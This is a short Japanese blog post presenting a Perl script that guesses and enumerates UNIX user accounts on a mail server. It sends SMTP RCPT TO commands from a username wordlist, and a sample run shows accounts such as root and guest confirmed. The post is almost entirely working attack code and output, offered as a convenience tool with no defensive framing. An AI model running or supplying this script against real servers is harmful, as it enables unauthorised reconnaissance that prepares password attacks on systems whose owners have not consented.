smtpのrcptっていう基本コマンドを使ってUNIXユーザアカウントを辞書アタックで推測、列挙するスクリプト。
ncやtelnetでカタカタやるのはまんどくさいから書いてみた。
# ./smtpfinger.pl 10.0.1.1 25 user.lst
ncやtelnetでカタカタやるのはまんどくさいから書いてみた。
#!/usr/bin/perl
use Socket;
($iaddr,$port,$dic) = @ARGV;
$addr = (gethostbyname($iaddr))[4];
$name = pack("S n a4 x8", 2, $port, $addr);
socket(S, 2, 1, 0);
connect(S, $name) or die "$iaddr: $!";
select(S); $| = 1; select(stdout);
while(<S>){
#print;
if($_ =~ /^220/){
print S 'helo world',"\r\n";
}
if($_ =~ /^250/){
print S 'mail from:hacker@hacker.com',"\r\n";
}
if($_ =~ /^250/){
goto attack;
}
}
attack:
open(F, $dic);
while($line = <F>){
chomp($line);
print S "RCPT TO:$line\r\n";
sleep(1);
while(<S>){
#print;
if($_ =~ /2.1.5/){
print $_;
}
goto loop;
}
loop:
}
close(F,S);
# ./smtpfinger.pl 10.0.1.1 25 user.lst
250 2.1.5 root... Recipient ok
250 2.1.5 srv... Recipient ok
250 2.1.5 guest... Recipient ok
250 2.1.5 mail... Recipient ok
- 関連記事
-
-
Perlで地震情報を取得 2011/12/26
-
Net::ARP 2011/11/23
-
Perl SMTPコマンドを利用したユーザ列挙ツール 2011/11/08
-
LWPでSOCKS Proxyを使ってみる 2011/11/03
-
Math::Combinatoricsでアナグラム 2011/11/02
-